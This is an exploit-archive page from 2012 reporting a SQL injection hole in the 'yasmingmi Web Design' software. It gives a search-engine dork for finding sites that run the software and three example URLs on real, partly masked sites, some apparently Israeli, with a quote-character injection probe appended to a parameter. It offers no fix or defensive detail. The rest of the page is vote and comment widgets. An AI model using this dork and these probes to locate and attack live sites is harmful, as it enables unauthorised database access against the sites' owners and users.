yasmingmi Web Design SQL Injection Vulnerability

2012.10.11

Credit: Siamak.Black

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-89

Dork: intext:\" Develop: yasminGMI \"

######
yasmingmi Web Design Sql Injection Vulnerability
######
# Exploit Title : yasmingmi Web Design Sql Injection Vulnerability
#
# Author : Siamak.Black
#
# Site : Http : www.datacoders.org & iranhack.org
#
# Tested On : Linux & 7
# #
# Emai : siam4k.black@yahoo.com
#
# Software Link : http://www.yasmingmi.biz/
#
# dork: " Develop: yasminGMI "
#
######+
EXAMPLE:
http://www.raXXn.co.il/?module=pages&cat=2&pic=50%27
http://www.ettXX.com/index.asp?module=news&id=19%27
http://www.israXXtival.org.il/2010/index.asp?module=ShowList&cat=2%27

References:

http://iranhack.org

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

yasmingmi Web Design SQL Injection Vulnerability

Dork: intext:\" Develop: yasminGMI \"

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.